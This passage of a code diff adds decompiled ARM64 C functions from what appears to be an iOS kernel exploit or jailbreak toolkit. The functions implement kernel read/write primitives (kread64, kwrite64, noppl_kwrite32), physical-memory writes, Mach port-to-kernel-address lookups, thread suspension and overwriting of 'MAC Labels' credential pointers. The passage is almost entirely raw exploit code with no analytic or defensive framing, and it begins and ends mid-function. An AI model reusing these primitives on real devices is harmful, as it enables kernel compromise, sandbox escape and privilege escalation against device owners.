v16; + if ( *(_DWORD *)(a2 + v16) > 0xB71B00u ) + return v10; + *(_DWORD *)(a2 + v17) = 1; + *(_DWORD *)(a2 + v13) = 0xB71B00; + } + if ( *(unsigned __int16 *)(a2 + v15) <= 0x7Fu ) + { + v10 = 0LL; + *(_WORD *)(a2 + v15) = a5; + } + } + } + return v10; +} + +//----- (0000000000038158) ---------------------------------------------------- +__int64 __fastcall sub_38158(__int64 a1, __int64 a2, int a3, int a4, __int16 a5) +{ + __int64 v9; // x23 + vm_size_t v10; // x20 + kern_return_t v11; // w0 + __int64 v13; // x0 + vm_address_t v14; // x25 + __int64 v15; // x23 + __int64 v16; // x1 + __int64 v17; // x0 + __int64 v18; // x22 + __int64 v19; // x0 + __int64 v20; // x0 + __int64 v21; // x0 + int v22; // [xsp+0h] [xbp-70h] BYREF + int v23; // [xsp+4h] [xbp-6Ch] BYREF + unsigned int v24; // [xsp+8h] [xbp-68h] BYREF + unsigned int v25; // [xsp+Ch] [xbp-64h] BYREF + unsigned int v26; // [xsp+10h] [xbp-60h] BYREF + unsigned int v27; // [xsp+14h] [xbp-5Ch] BYREF + vm_address_t address; // [xsp+18h] [xbp-58h] BYREF + __int64 v29; // [xsp+20h] [xbp-50h] BYREF + __int16 v30; // [xsp+2Eh] [xbp-42h] BYREF + + v30 = a5; + address = 0LL; + v29 = 0LL; + if ( (*(_DWORD *)a1 & 0x5584201) == 0 ) + return 0xAD008LL; + v9 = sub_37C50((int *)a1, (int *)&v27, (int *)&v26, (int *)&v25, (int *)&v24); + if ( !(_DWORD)v9 ) + { + v9 = sub_37F58(a1, a3, &v29); + if ( !(_DWORD)v9 ) + { + v10 = *(unsigned int *)(a1 + 0x180); + v11 = vm_allocate(mach_task_self_, &address, v10, 1); + if ( v11 ) + { + v9 = v11 | 0x80000000; + } + else + { + sub_38D60(a1, a2 & ~*(_QWORD *)(a1 + 0x188), (void *)address, v10, 1); + v9 = v13; + if ( !(_DWORD)v13 ) + { + v14 = (*(_QWORD *)(a1 + 0x188) & a2) + address; + v15 = v27; + v16 = *(_QWORD *)(v14 + v27); + if ( v16 && !validate_addr(a1, v16) ) + { + v9 = 0x28026LL; + } + else + { + physwritebuf_idk_MAYBENOTSURE(a1, v15 + a2, &v29, *(_DWORD *)(a1 + 0x168), 1); + v9 = v17; + if ( !(_DWORD)v17 ) + { + v9 = 0x28011LL; + if ( !a4 + || *(_DWORD *)(v14 + v26) <= 3u + && (v18 = v25, *(_DWORD *)(v14 + v25) <= 0xB71B00u) + && (v23 = 1, physwritebuf_idk_MAYBENOTSURE(a1, v26 + a2, &v23, 4u, 1), v9 = v19, !(_DWORD)v19) + && (v22 = 0xB71B00, physwritebuf_idk_MAYBENOTSURE(a1, v18 + a2, &v22, 4u, 1), v9 = v20, !(_DWORD)v20) ) + { + v9 = 0x28011LL; + if ( *(unsigned __int16 *)(v14 + v24) <= 0x7Fu ) + { + physwritebuf_idk_MAYBENOTSURE(a1, v24 + a2, &v30, 2u, 1); + v9 = v21; + } + } + } + } + } + } + if ( address && (_DWORD)v10 ) + vm_deallocate(mach_task_self_, address, v10); + } + } + return v9; +} +// 38248: variable 'v13' is possibly undefined +// 38290: variable 'v17' is possibly undefined +// 382EC: variable 'v19' is possibly undefined +// 38310: variable 'v20' is possibly undefined +// 38348: variable 'v21' is possibly undefined + +//----- (0000000000038378) ---------------------------------------------------- +__int64 __fastcall sub_38378(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +{ + __int64 v8; // x8 + _QWORD *i; // x9 + unsigned __int64 v10; // x10 + + if ( *(int *)(a1 + 0x140) < 0x1809 ) + return a2 - a3 + a4; + if ( !*(_QWORD *)(a1 + 0x1A18) && (unsigned int)sub_38428(a1) ) + return 0LL; + v8 = *(unsigned int *)(a1 + 0x18A0); + if ( !(_DWORD)v8 ) + return a2 - a3 + a4; + for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) + { + v10 = i[0xFFFFFFFE]; + if ( v10 <= a4 && *i + v10 > a4 ) + break; + if ( !--v8 ) + return a2 - a3 + a4; + } + return a4 - v10 + i[0xFFFFFFFF]; +} + +//----- (0000000000038428) ---------------------------------------------------- +__int64 __fastcall sub_38428(__int64 a1) +{ + unsigned __int64 v2; // x20 + unsigned __int64 v3; // x0 + int v4; // w8 + bool v5; // zf + __int64 v7; // x21 + unsigned __int64 v8; // x22 + __int64 v9; // x9 + __int64 v10; // x10 + _QWORD *v11; // x11 + __int64 v12; // [xsp+0h] [xbp-40h] BYREF + __int64 v13; // [xsp+8h] [xbp-38h] + __int64 v14; // [xsp+10h] [xbp-30h] + + v2 = *(_QWORD *)(a1 + 0x1898); + if ( v2 ) + { + if ( !*(_DWORD *)(a1 + 0x18A0) ) + return 0LL; + } + else + { + LODWORD(v12) = 0; + v3 = sub_1E85C(*(__int64 **)(a1 + 0x19F8), (int *)&v12); + v4 = v12; + if ( v3 ) + v5 = (_DWORD)v12 == 0; + else + v5 = 1; + if ( v5 ) + return 0xAD011LL; + v2 = v3; + *(_QWORD *)(a1 + 0x1898) = v3; + *(_DWORD *)(a1 + 0x18A0) = v4; + } + v7 = 0LL; + v8 = 0LL; + while ( 1 ) + { + v12 = 0LL; + v13 = 0LL; + v14 = 0LL; + if ( !(unsigned int)kreadbuf_last_1(a1, v2 + v7, 0x18LL, (__int64)&v12) ) + break; + v9 = v13; + v10 = v14; + if ( (*(_DWORD *)a1 & 0x20) != 0 ) + v10 = v14 << 0xE; + v11 = (_QWORD *)(a1 + v7); + v11[0x341] = v12; + v11[0x342] = v9; + v11[0x343] = v10; + ++v8; + v7 += 0x18LL; + if ( v8 >= *(unsigned int *)(a1 + 0x18A0) ) + return 0LL; + } + return 0x2800FLL; +} + +//----- (0000000000038544) ---------------------------------------------------- +__int64 __fastcall sub_38544(__int64 a1, __int64 a2, __int64 a3, unsigned __int64 a4) +{ + __int64 v8; // x8 + _QWORD *i; // x9 + unsigned __int64 v10; // x10 + + if ( *(int *)(a1 + 0x140) < 0x1809 ) + return a3 - a2 + a4; + if ( !*(_QWORD *)(a1 + 0x1A18) && (unsigned int)sub_38428(a1) ) + return 0LL; + v8 = *(unsigned int *)(a1 + 0x18A0); + if ( !(_DWORD)v8 ) + return a3 - a2 + a4; + for ( i = (_QWORD *)(a1 + 0x1A18); ; i += 3 ) + { + v10 = i[0xFFFFFFFF]; + if ( v10 <= a4 && *i + v10 > a4 ) + break; + if ( !--v8 ) + return a3 - a2 + a4; + } + return a4 - v10 + i[0xFFFFFFFE]; +} + +//----- (00000000000385F4) ---------------------------------------------------- +__int64 __fastcall sub_385F4(__int64 a1, unsigned __int64 a2) +{ + __int64 v4; // x1 + __int64 v5; // x2 + __int64 result; // x0 + __int64 v7; // x21 + __int64 v8; // [xsp+0h] [xbp-30h] BYREF + __int64 v9; // [xsp+8h] [xbp-28h] BYREF + + v8 = 0LL; + v9 = 0LL; + v4 = *(_QWORD *)(a1 + 0x18A8); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 0x18B0); + v8 = v5; + v9 = v4; + return sub_38544(a1, v4, v5, a2); + } + result = sub_32D24(a1); + if ( result ) + { + result = sub_3492C(a1, result); + if ( result ) + { + v7 = result; + if ( !(unsigned int)kread64(a1, result, &v9) || !(unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v8) ) + return 0LL; + v5 = v8; + v4 = v9; + *(_QWORD *)(a1 + 0x18A8) = v9; + *(_QWORD *)(a1 + 0x18B0) = v5; + return sub_38544(a1, v4, v5, a2); + } + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (00000000000386AC) ---------------------------------------------------- +__int64 __fastcall sub_386AC(__int64 a1, unsigned __int64 a2) +{ + __int64 v4; // x1 + __int64 v5; // x2 + __int64 result; // x0 + __int64 v7; // x21 + __int64 v8; // [xsp+0h] [xbp-30h] BYREF + __int64 v9; // [xsp+8h] [xbp-28h] BYREF + + v8 = 0LL; + v9 = 0LL; + v4 = *(_QWORD *)(a1 + 0x18A8); + if ( v4 ) + { + v5 = *(_QWORD *)(a1 + 0x18B0); + v8 = v5; + v9 = v4; + return sub_38378(a1, v4, v5, a2); + } + result = sub_32D24(a1); + if ( result ) + { + result = sub_3492C(a1, result); + if ( result ) + { + v7 = result; + if ( !(unsigned int)kread64(a1, result, &v9) || !(unsigned int)kread64(a1, v7 + *(int *)(a1 + 0x168), &v8) ) + return 0LL; + v5 = v8; + v4 = v9; + *(_QWORD *)(a1 + 0x18A8) = v9; + *(_QWORD *)(a1 + 0x18B0) = v5; + return sub_38378(a1, v4, v5, a2); + } + } + return result; +} +// 28840: using guessed type __int64 __fastcall kread64(_QWORD, _QWORD, _QWORD); + +//----- (0000000000038764) ---------------------------------------------------- +__int64 __fastcall sub_38764(__int64 a1) +{ + pthread_mutex_t *v2; // x20 + int v3; // w0 + int v4; // w8 + __int64 result; // x0 + unsigned __int64 i; // x8 + __int64 v7; // x20 + __int64 v8; // x1 + __int64 v9; // x2 + _OWORD v10[8]; // [xsp+0h] [xbp-B0h] BYREF + + memset(v10, 0, sizeof(v10)); + v2 = (pthread_mutex_t *)(a1 + 0x268); + v3 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268)); + if ( v3 ) + { + if ( v3 >= 0 ) + v4 = v3; + else + v4 = -v3; + return v4 | 0x40000000u; + } + else + { + for ( i = 0LL; i != 0x80; i += 0x10LL ) + { + if ( *(_QWORD *)(a1 + i + 0x2B0) && *(_DWORD *)(a1 + i + 0x2B8) ) + { + v10[i / 0x10] = *(_OWORD *)(a1 + i + 0x2B0); + *(_OWORD *)(a1 + i + 0x2B0) = 0uLL; + } + } + pthread_mutex_unlock(v2); + v7 = 0LL; + while ( 1 ) + { + v8 = *(_QWORD *)&v10[v7]; + if ( v8 ) + { + v9 = DWORD2(v10[v7]); + if ( (_DWORD)v9 ) + { + result = sub_36E4C(a1, v8, v9); + if ( (_DWORD)result ) + break; + } + } + if ( ++v7 == 8 ) + return 0LL; + } + } + return result; +} + +//----- (0000000000038870) ---------------------------------------------------- +__int64 __fastcall sub_38870(__int64 a1, unsigned __int64 a2, __int64 a3) +{ + vm_size_t v6; // x27 + int v7; // w8 + __int64 v8; // x21 + kern_return_t memory_entry; // w0 + __int64 v12; // x22 + unsigned __int64 v13; // x0 + __int64 v14; // x0 + __int64 v15; // x24 + __int64 v17; // x8 + __int64 v18; // x9 + _QWORD *v19; // x9 + __int64 v20; // t1 + __int64 v21; // x11 + unsigned __int64 v22; // x0 + vm_address_t v23; // x1 + int v24; // [xsp+14h] [xbp-BCh] BYREF + mem_entry_name_port_t object_handle[2]; // [xsp+18h] [xbp-B8h] BYREF + vm_size_t size; // [xsp+20h] [xbp-B0h] BYREF + vm_address_t address; // [xsp+28h] [xbp-A8h] BYREF + __int128 v28; // [xsp+30h] [xbp-A0h] BYREF + __int128 v29; // [xsp+40h] [xbp-90h] + __int128 v30; // [xsp+50h] [xbp-80h] + __int128 v31; // [xsp+60h] [xbp-70h] + + *(_QWORD *)(a3 + 0x30) = 0LL; + *(_OWORD *)(a3 + 0x10) = 0u; + *(_OWORD *)(a3 + 0x20) = 0u; + *(_OWORD *)a3 = 0u; + address = 0LL; + v6 = vm_page_size; + *(_QWORD *)object_handle = 0LL; + v7 = *(_DWORD *)(a1 + 0x140); + v8 = 0x2802CLL; + if ( v7 > 0x2257 ) + { + if ( v7 != 0x2258 && v7 != 0x2712 && v7 != 0x225C ) + return v8; + } + else if ( (unsigned int)(v7 - 0x1F53) >= 2 && v7 != 0x1809 && v7 != 0x1C1B ) + { + return v8; + } + v28 = 0u; + v29 = 0u; + v30 = 0u; + v31 = 0u; + size = vm_page_size; + memory_entry = mach_make_memory_entry(mach_task_self_, &size, 0LL, 0x20003, &object_handle[1], 0); + if ( memory_entry ) + { + v12 = 0LL; +LABEL_15: + v8 = memory_entry | 0x80000000; + goto LABEL_20; + } + v13 = port_name_to_kaddr(a1, object_handle[1]); + v8 = 0x28026LL; + if ( !v13 + || (v14 = sub_33A88(a1, v13, 0)) == 0 + || (v15 = v14, v8 = 0xAD009LL, object_handle[0] = 0x40, pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268))) ) + { + v12 = 0LL; + goto LABEL_20; + } + v17 = *(unsigned int *)(a1 + 0x2A8); + v18 = a1 + 0x2A8 + 0x10 * v17; + v20 = *(_QWORD *)(v18 + 8); + v19 = (_QWORD *)(v18 + 8); + v12 = v20; + if ( v20 && (v21 = a1 + 0x10 * v17, *(_DWORD *)(v21 + 0x2B8)) ) + { + object_handle[0] = *(_DWORD *)(v21 + 0x2B8); + *v19 = 0LL; + *(_DWORD *)(v21 + 0x2B8) = 0; + if ( (_DWORD)v17 ) + *(_DWORD *)(a1 + 0x2A8) = v17 - 1; + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x268)); + } + else + { + pthread_mutex_unlock((pthread_mutex_t *)(a1 + 0x268)); + v12 = sub_37210(a1, object_handle); + if ( !v12 ) + goto LABEL_20; + } + v22 = sub_35A50(a1, 0, &v24); + if ( v22 ) + { + LODWORD(v30) = (v15 - v22) >> v24; + DWORD1(v30) = 0x2000000; + *((_QWORD *)&v29 + 1) = 0LL; + HIDWORD(v30) = 0x140; + LODWORD(v31) = a2 / v6; + if ( (unsigned int)kwritebuf_last_1(a1, v12, (__int64)&v28, 0x40LL) ) + { + memory_entry = vm_map(mach_task_self_, &address, size, 0LL, 1, object_handle[1], 0LL, 0, 3, 3, 1u); + if ( memory_entry ) + goto LABEL_15; + v23 = address; + *(_DWORD *)address = 0; + memory_entry = vm_protect(mach_task_self_, v23, size, 0, 0); + if ( memory_entry ) + goto LABEL_15; + memory_entry = vm_protect(mach_task_self_, address, size, 0, 3); + if ( memory_entry ) + goto LABEL_15; + if ( sub_288A4(a1, v15 + 0x20, v12) ) + { + v8 = 0LL; + *(_DWORD *)(a3 + 0x34) = object_handle[1]; + *(_QWORD *)a3 = address; + *(_QWORD *)(a3 + 8) = v6; + *(_QWORD *)(a3 + 0x10) = v12; + *(_DWORD *)(a3 + 0x18) = object_handle[0]; + *(_DWORD *)(a3 + 0x1C) = 1; + return v8; + } + } + v8 = 0x28010LL; + } + else + { + v8 = 0xAD001LL; + } +LABEL_20: + if ( address && size ) + vm_deallocate(mach_task_self_, address, size); + if ( object_handle[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, object_handle[1]); + if ( v12 && object_handle[0] ) + sub_38C8C(a1, v12, object_handle[0]); + return v8; +} + +//----- (0000000000038BCC) ---------------------------------------------------- +double __fastcall sub_38BCC(__int64 a1, __int64 a2) +{ + __int64 v4; // x8 + double result; // d0 + + v4 = *(_QWORD *)(a2 + 0x10); + if ( v4 + && *(_QWORD *)a2 + && noppl_kwrite32(a1, v4 + *(unsigned int *)(a2 + 0x30), 0xFFFFFFFF) + && !vm_deallocate(mach_task_self_, *(_QWORD *)a2, *(_QWORD *)(a2 + 8) * *(unsigned int *)(a2 + 0x1C)) + && !mach_port_deallocate(mach_task_self_, *(_DWORD *)(a2 + 0x34)) ) + { + sub_38C8C(a1, *(_QWORD *)(a2 + 0x10), *(unsigned int *)(a2 + 0x18)); + } + *(_QWORD *)(a2 + 0x30) = 0LL; + result = 0.0; + *(_OWORD *)(a2 + 0x10) = 0u; + *(_OWORD *)(a2 + 0x20) = 0u; + *(_OWORD *)a2 = 0u; + return result; +} + +//----- (0000000000038C8C) ---------------------------------------------------- +__int64 __fastcall sub_38C8C(__int64 a1, __int64 a2, __int64 a3) +{ + pthread_mutex_t *v6; // x22 + int v7; // w0 + int v8; // w8 + __int64 v10; // x8 + __int64 *v11; // x9 + __int64 vars8; // [xsp+28h] [xbp+8h] + + v6 = (pthread_mutex_t *)(a1 + 0x268); + v7 = pthread_mutex_lock((pthread_mutex_t *)(a1 + 0x268)); + if ( v7 ) + { + if ( v7 >= 0 ) + v8 = v7; + else + v8 = -v7; + return v8 | 0x40000000u; + } + v10 = *(unsigned int *)(a1 + 0x2A8); + if ( (unsigned int)v10 <= 7 ) + { + v11 = (__int64 *)(a1 + 0x10 * v10 + 0x2B0); + while ( *v11 ) + { + ++v10; + v11 += 2; + if ( v10 == 8 ) + goto LABEL_10; + } + *(_DWORD *)(a1 + 0x2A8) = v10; + *v11 = a2; + *(_DWORD *)(a1 + 0x2A8 + 0x10LL * (unsigned int)v10 + 0x10) = a3; + pthread_mutex_unlock(v6); + return 0LL; + } +LABEL_10: + pthread_mutex_unlock(v6); + if ( !a2 ) + return 0LL; + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_36E4C(a1, a2, a3); +} +// 38D20: variable 'vars8' is possibly undefined + +//----- (0000000000038D60) ---------------------------------------------------- +void __fastcall sub_38D60(__int64 a1, unsigned __int64 a2, void *a3, unsigned int a4, int a5) +{ + void (*v9)(void); // x5 + _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF + __int64 vars8; // [xsp+68h] [xbp+8h] + + v9 = *(void (**)(void))(a1 + 0x38); + if ( v9 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + v9(); + } + else if ( a5 + && (*(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0) + && !(unsigned int)physwrite_maybe(a1, a2, (__int64)v10) ) + { + memcpy(a3, (const void *)((*(_QWORD *)(a1 + 0x188) & a2) + v10[0]), a4); + sub_38BCC(a1, (__int64)v10); + } +} + +//----- (0000000000038E4C) ---------------------------------------------------- +void __fastcall physwritebuf_idk_MAYBENOTSURE(__int64 a1, __int64 a2, const void *a3, unsigned int a4, int a5) +{ + void (*v9)(void); // x5 + _QWORD v10[7]; // [xsp+8h] [xbp-58h] BYREF + __int64 vars8; // [xsp+68h] [xbp+8h] + + v9 = *(void (**)(void))(a1 + 0x48); + if ( v9 ) + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + v9(); + } + else if ( a5 + && (*(_QWORD *)(a1 + 0x158) < 0x27120F04B00003uLL || (*(_BYTE *)a1 & 0x20) == 0) + && !(unsigned int)physwrite_maybe(a1, a2, v10) ) + { + memcpy((void *)((*(_QWORD *)(a1 + 0x188) & a2) + v10[0]), a3, a4); + sub_38BCC(a1, (__int64)v10); + } +} +// 38870: using guessed type __int64 __fastcall sub_38870(_QWORD, _QWORD, _QWORD); + +//----- (0000000000038F38) ---------------------------------------------------- +__int64 __fastcall sub_38F38(__int64 a1, __int64 a2, __int64 a3) +{ + if ( (unsigned int)kreadbuf_last_1(a1, a2 + 8, 2LL, a3) ) + return 0LL; + else + return 0x2800FLL; +} + +//----- (0000000000038F6C) ---------------------------------------------------- +__int64 __fastcall sub_38F6C(__int64 a1, __int64 a2, __int16 a3) +{ + __int16 v4; // [xsp+Eh] [xbp-2h] BYREF + + v4 = a3; + if ( (unsigned int)kwritebuf_last_1(a1, a2 + 8, (__int64)&v4, 2LL) ) + return 0LL; + else + return 0x28010LL; +} + +//----- (0000000000038FAC) ---------------------------------------------------- +__int64 __fastcall sub_38FAC(unsigned int a1) +{ + unsigned __int16 v1; // w8 + + v1 = a1 + 0xA; + if ( a1 > 0xFFF4 ) + v1 = 0xFFFE; + if ( a1 > 0xFFFD ) + return (unsigned __int16)a1; + return v1; +} + +//----- (0000000000038FD4) ---------------------------------------------------- +__int64 __fastcall sub_38FD4(__int64 a1, __int64 a2) +{ + __int64 v4; // x19 + __int64 v5; // x21 + __int16 v6; // w8 + unsigned __int16 v8; // [xsp+Ch] [xbp-24h] BYREF + __int16 v9; // [xsp+Eh] [xbp-22h] BYREF + + v4 = 0x2800FLL; + if ( !validate_addr(a1, a2) ) + return 0x28026LL; + v5 = a2 + 8; + if ( (unsigned int)kreadbuf_last_1(a1, v5, 2LL, (__int64)&v8) ) + { + if ( v8 <= 0xFFFDu ) + { + if ( v8 <= 0xFFF4u ) + v6 = v8 + 0xA; + else + v6 = 0xFFFE; + v8 = v6; + v9 = v6; + if ( (unsigned int)kwritebuf_last_1(a1, v5, (__int64)&v9, 2LL) ) + return 0LL; + else + return 0x28010LL; + } + else + { + return 0LL; + } + } + return v4; +} + +//----- (0000000000039090) ---------------------------------------------------- +__int64 __fastcall sub_39090(_QWORD *a1, __int64 a2) +{ + __int64 v4; // x8 + __int64 v5; // x21 + unsigned __int64 v6; // x1 + bool v7; // zf + __int64 v8; // x8 + __int64 result; // x0 + int v10; // w0 + __int64 v11; // x21 + __int64 v12; // x8 + bool v13; // zf + __int64 v14; // x8 + __int64 v16; // x9 + _BYTE v17[32]; // [xsp+8h] [xbp-48h] BYREF + __int64 v18; // [xsp+28h] [xbp-28h] + + v4 = a1[0x317]; + v5 = a1[0x31]; + v6 = a2 & ~v5; + if ( v4 ) + v7 = v4 == v6; + else + v7 = 0; + if ( v7 ) + { + v8 = a1[0x318]; + if ( v8 ) + return v8 + (v5 & a2); + } + sub_2183C((__int64)a1, v6, (__int64)v17); + if ( !v10 ) + return 0LL; + v11 = v5 & a2; + v12 = sub_386AC((__int64)a1, v18 & 0xFFFFFFFFC000LL); + result = 0LL; + v13 = v12 == 0; + if ( v12 ) + v14 = v12 + v11; + else + v14 = 0LL; + if ( !v13 && v14 != 0 ) + { + v16 = a1[0x31]; + a1[0x317] = a2 & ~v16; + a1[0x318] = v14 & ~v16; + return v14; + } + return result; +} +// 390E8: variable 'v10' is possibly undefined + +//----- (0000000000039150) ---------------------------------------------------- +__int64 __fastcall sub_39150(__int64 a1) +{ + __int64 v2; // x20 + __int64 v3; // x27 + task_inspect_t v4; // w22 + __int128 v5; // q0 + unsigned __int64 v6; // x0 + _QWORD *v7; // x21 + unsigned __int64 v8; // x23 + _BOOL4 v9; // w0 + _BOOL4 v10; // w8 + int v12; // w28 + mach_vm_address_t v13; // x0 + mach_vm_address_t v14; // x21 + __int16 v15; // w26 + thread_act_t v16; // w0 + mach_port_t v17; // w0 + int v18; // w23 + unsigned __int64 v19; // x0 + unsigned __int64 v20; // x23 + __int64 v21; // x8 + char v22; // w9 + char v23; // w21 + int v24; // w0 + __int64 k; // x20 + int v26; // w0 + unsigned __int64 v27; // x23 + unsigned __int64 i; // x23 + mach_port_t v29; // w8 + thread_act_t v30; // w0 + thread_act_array_t v31; // x8 + __int64 v32; // x22 + mach_port_t v33; // w8 + thread_act_t v34; // w0 + __int64 v35; // x23 + int v36; // w23 + int v37; // w8 + unsigned __int64 j; // x22 + mach_port_t v39; // w8 + thread_act_t v40; // w0 + __int64 v41; // x8 + __int64 v42; // x24 + bool v43; // zf + __int64 v44; // x28 + unsigned __int64 v45; // x22 + __int64 v47; // x8 + __int64 v48; // x24 + __int64 v49; // x27 + unsigned __int64 v50; // x0 + unsigned __int64 v51; // x22 + kern_return_t v52; // w0 + int v53; // w22 + int v54; // w8 + __int64 v55; // [xsp+10h] [xbp-110h] BYREF + __int64 v56; // [xsp+18h] [xbp-108h] BYREF + task_suspension_token_t suspend_token[2]; // [xsp+20h] [xbp-100h] BYREF + int v58[3]; // [xsp+28h] [xbp-F8h] BYREF + mach_msg_type_number_t act_listCnt; // [xsp+34h] [xbp-ECh] BYREF + thread_act_array_t act_list; // [xsp+38h] [xbp-E8h] BYREF + mach_port_name_t name; // [xsp+44h] [xbp-DCh] + __int64 v62; // [xsp+48h] [xbp-D8h] BYREF + _OWORD v63[3]; // [xsp+50h] [xbp-D0h] BYREF + _QWORD v64[7]; // [xsp+88h] [xbp-98h] BYREF + + v2 = *(_QWORD *)a1; + v3 = *(unsigned int *)(a1 + 8); + v62 = 0LL; + name = 0; + act_list = 0LL; + act_listCnt = 0; + v4 = *(_DWORD *)(v2 + 0x18F8); + *(_QWORD *)suspend_token = 0LL; + *(_QWORD *)v58 = 0xFFFFFFFFFFFFFFFFLL; + *(_QWORD *)&v5 = 0xFFFFFFFFFFFFFFFFLL; + *((_QWORD *)&v5 + 1) = 0xFFFFFFFFFFFFFFFFLL; + v63[0] = v5; + v63[1] = v5; + v63[2] = v5; + v6 = sub_403E0(v2, "MAC Labels"); + if ( !v6 || (unsigned int)sub_4062C(v2, v6) ) + { +LABEL_6: + v10 = 0; + goto LABEL_7; + } + v7 = v64; + v8 = 0xFFFFFFFFFFFFFFFDLL; + while ( v8 ) + { + v9 = kread64_internal(v2, *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v8 + 4)), v7++); + ++v8; + if ( !v9 ) + goto LABEL_6; + } + v12 = 0x28026; + v13 = sub_34FF8(v2, mach_task_self_, suspend_token); + if ( v13 ) + { + v14 = v13; + v15 = suspend_token[0]; + if ( (suspend_token[0] & 0x400) != 0 || noppl_kwrite32(v2, v13, suspend_token[0] | 0x400) ) + { + v16 = mach_thread_self(); + if ( sub_2515C(v16) ) + { + v17 = mach_thread_self(); + v18 = sub_37A50((int *)v2, v17, 1, 1, 0x60); + if ( v18 ) + goto LABEL_20; + thread_switch(0, 2, 0xAu); + if ( pipe(v58) || (unsigned int)j__fileport_makeport() ) + { + __error(); + __error(); + v18 = 0x28026; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; +LABEL_21: + noppl_kwrite32(v2, v14, suspend_token[0]); + v12 = v18; + goto LABEL_22; + } + v19 = port_name_to_kaddr(v2, name); + if ( v19 ) + { + v20 = v19; + if ( !mach_port_deallocate(mach_task_self_, name) ) + { + name = 0; + v27 = v20 + 0x58; + if ( kread64_internal(v2, v27, &v62) + && validate_addr(v2, v62) + && kwrite64(v2, v27, *(_QWORD *)(v2 + 0x18F0)) ) + { + if ( v4 == mach_task_self_ ) + { + if ( !task_threads(v4, &act_list, &act_listCnt) ) + { + if ( act_listCnt ) + { + for ( i = 0LL; i < act_listCnt; ++i ) + { + if ( act_list[i] + 1 >= 2 ) + { + v29 = mach_thread_self(); + v30 = act_list[i]; + if ( v29 != v30 ) + thread_suspend(v30); + } + } + } + goto LABEL_46; + } + } + else if ( !task_suspend2(v4, &suspend_token[1]) ) + { +LABEL_46: + if ( close(v58[0]) || (v58[0] = 0xFFFFFFFF, close(v58[1])) ) + { + __error(); + __error(); +LABEL_49: + if ( v4 == mach_task_self_ ) + { + v31 = act_list; + if ( act_list && act_listCnt ) + { + v32 = 0LL; + while ( 1 ) + { + if ( v31[v32] + 1 >= 2 ) + { + v33 = mach_thread_self(); + v34 = act_list[v32]; + if ( v33 != v34 ) + thread_resume(v34); + } + if ( ++v32 >= (unsigned __int64)act_listCnt ) + break; + v31 = act_list; + } + vm_deallocate(mach_task_self_, (vm_address_t)act_list, 4LL * act_listCnt); + } + } + else if ( suspend_token[1] + 1 >= 2 ) + { + task_resume2(suspend_token[1]); + suspend_token[1] = 0; + } + v18 = 0x28026; +LABEL_62: + v12 = 0x28026; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } + v35 = 0LL; + v58[1] = 0xFFFFFFFF; + while ( !pipe((int *)((char *)v63 + v35)) ) + { + v35 += 8LL; + if ( v35 == 0x30 ) + { + v18 = 0; + goto LABEL_71; + } + } + v36 = *__error(); + v37 = *__error(); + if ( v36 < 0 ) + v37 = -v37; + v18 = v37 | 0x40000000; +LABEL_71: + if ( v4 == mach_task_self_ ) + { + if ( act_listCnt ) + { + for ( j = 0LL; j < act_listCnt; ++j ) + { + if ( act_list[j] + 1 >= 2 ) + { + v39 = mach_thread_self(); + v40 = act_list[j]; + if ( v39 != v40 ) + thread_resume(v40); + } + } + } + } + else + { + if ( task_resume2(suspend_token[1]) ) + goto LABEL_49; + suspend_token[1] = 0; + } + if ( !v18 ) + { + v41 = 0x3B0LL; + do + { + v42 = v41 + 0x40; + if ( !*(_QWORD *)(v2 + v41) ) + break; + v43 = v41 == 0x570; + v41 += 0x40LL; + } + while ( !v43 ); + v44 = v42 - 0x38; + v45 = 0xFFFFFFFFFFFFFFFDLL; + v18 = 0x28011; + do + { + v56 = 0LL; + if ( !kread64_internal( + v2, + *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v45 + 4)), + &v56) ) + { + v18 = 0x2800F; + goto LABEL_62; + } + if ( !v56 ) + goto LABEL_62; + *(_QWORD *)(v2 + v44) = v56; + v44 += 8LL; + } + while ( !__CFADD__(v45++, 1LL) ); + v47 = 0LL; + *(_QWORD *)(v2 + v42 - 0x40) = *(_QWORD *)(v2 + 0x18F0); + do + { + v48 = v3 + 1; + if ( v47 != v3 ) + { + v48 = v47 + 1; + if ( !kwrite64( + v2, + *(_QWORD *)(v2 + 0x18F0) + (unsigned int)(*(_DWORD *)(v2 + 0x168) * (v47 + 1)), + v64[v47]) ) + { + v18 = 0x28010; + goto LABEL_20; + } + } + v47 = v48; + } + while ( v48 != 3 ); + v49 = 0LL; + v18 = 0xAD011; + v12 = 0x28026; + while ( !(unsigned int)j__fileport_makeport() ) + { + v50 = port_name_to_kaddr(v2, name); + if ( !v50 ) + { + v12 = 0x2800E; + goto LABEL_123; + } + v51 = v50; + v52 = mach_port_deallocate(mach_task_self_, name); + if ( v52 ) + { + v12 = v52 | 0x80000000; + goto LABEL_123; + } + name = 0; + if ( !kread64_internal(v2, v51 + 0x58, &v55) ) + goto LABEL_113; + if ( !validate_addr(v2, v55) ) + goto LABEL_123; + if ( v55 == *(_QWORD *)(v2 + 0x18F0) ) + { + if ( kwrite64(v2, v51 + 0x58, v62) ) + v12 = 0; + else + v12 = 0x28010; + goto LABEL_123; + } + if ( !kread64((_DWORD *)v2, v51 + 0x38, &v56) ) + goto LABEL_113; + if ( !validate_addr(v2, v56) ) + goto LABEL_123; + if ( 